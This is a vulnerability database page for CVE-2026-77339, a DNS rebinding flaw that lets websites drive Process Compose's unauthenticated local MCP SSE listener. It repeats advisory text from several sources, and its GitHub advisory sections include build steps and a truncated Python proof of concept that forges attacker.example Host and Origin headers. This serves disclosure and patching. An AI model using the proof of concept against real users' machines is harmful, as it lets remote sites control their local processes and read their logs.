CVE-2026-77339
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used 5.1
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
- Record
CVE-2026-77339- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N - Weakness
- CWE-306, CWE-346
- Updated
- 2026-11-02
EUVDEUVD-2026-83168 5.1
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
- Record
EUVD-2026-83168- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5gm3-9crp-6g3v 5.1
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Summary
A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.
This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.
The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.
Affected Code
Root cause:
src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.
Impact surface:
src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.
Reproduction
Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:
workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485
go build -o ./process-compose-poc .
cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
host: 127.0.0.1
port: 8081
transport: sse
expose_control_tools: true
processes:
sleeper:
command: "sleep 600"
disabled: true
YAML
PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
-f ./process-compose-mcp-poc.yaml \
-t=false \
--no-server \
--keep-project \
--log-file ./process-compose-mcp-poc.log
In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:
python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse
host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
"Host": attacker_host,
"Origin": origin,
"Accept": "text/event-stream",
}
events = queue.Queue()
def read_sse(resp):
event = None
data = None
while True:
line = resp.readline()
if not line:
return
text = line.decode("utf-8", "replace").strip()
if text.startswith("event:"):
event = text.split(":", 1)[1].strip()
elif text.startswith("data:"):
data = text.split(":", 1)[1].strip()
elif text == "" and (event or data):
events.put((event, data))
event = None
data = None
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()
endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
event, data = events.get(timeout=1)
if event == "endpoint":
endpoint = data
break
assert endpoint, "no SSE endpoint event"…
- Record
GHSA-5gm3-9crp-6g3v- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N - Weakness
- CWE-306, CWE-346
- Updated
- 2026-11-02
NVD 5.1
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
- Record
CVE-2026-77339- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-306, CWE-346
- Updated
- 2026-11-02
OSV 5.1
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
- Record
CVE-2026-77339- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N - Weakness
- CWE-306, CWE-346
- Updated
- 2026-11-02
OSVGHSA-5gm3-9crp-6g3v 5.1
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Summary
A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.
This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.
The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.
Affected Code
Root cause:
src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.
Impact surface:
src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.
Reproduction
Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:
workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485
go build -o ./process-compose-poc .
cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
host: 127.0.0.1
port: 8081
transport: sse
expose_control_tools: true
processes:
sleeper:
command: "sleep 600"
disabled: true
YAML
PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
-f ./process-compose-mcp-poc.yaml \
-t=false \
--no-server \
--keep-project \
--log-file ./process-compose-mcp-poc.log
In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:
python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse
host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
"Host": attacker_host,
"Origin": origin,
"Accept": "text/event-stream",
}
events = queue.Queue()
def read_sse(resp):
event = None
data = None
while True:
line = resp.readline()
if not line:
return
text = line.decode("utf-8", "replace").strip()
if text.startswith("event:"):
event = text.split(":", 1)[1].strip()
elif text.startswith("data:"):
data = text.split(":", 1)[1].strip()
elif text == "" and (event or data):
events.put((event, data))
event = None
data = None
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()
endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
event, data = events.get(timeout=1)
if event == "endpoint":
endpoint = data
break
assert endpoint, "no SSE endpoint event"…
- Record
GHSA-5gm3-9crp-6g3v- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N - Weakness
- CWE-306, CWE-346
- Updated
- 2026-11-02
OSVGO-2026-6515No score
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose
- Record
GO-2026-6515- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/f1bonacc1/process-composeGo | before 1.120.0 | 1.120.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77339 is a medium vulnerability (CVSS 5.1) in F1bonacc1 Process-compose, published September 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 17th percentile. Fixed in github.com/f1bonacc1/process-compose 1.120.0.
References
github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v
github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858
github.com/F1bonacc1/process-compose/releases/tag/v1.120.0
github.com/advisories/GHSA-5gm3-9crp-6g3v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77339.json
nvd.nist.gov/vuln/detail/CVE-2026-77339
github.com/F1bonacc1/process-compose
Left out here: the rest of 2 source descriptions. The JSON record has them.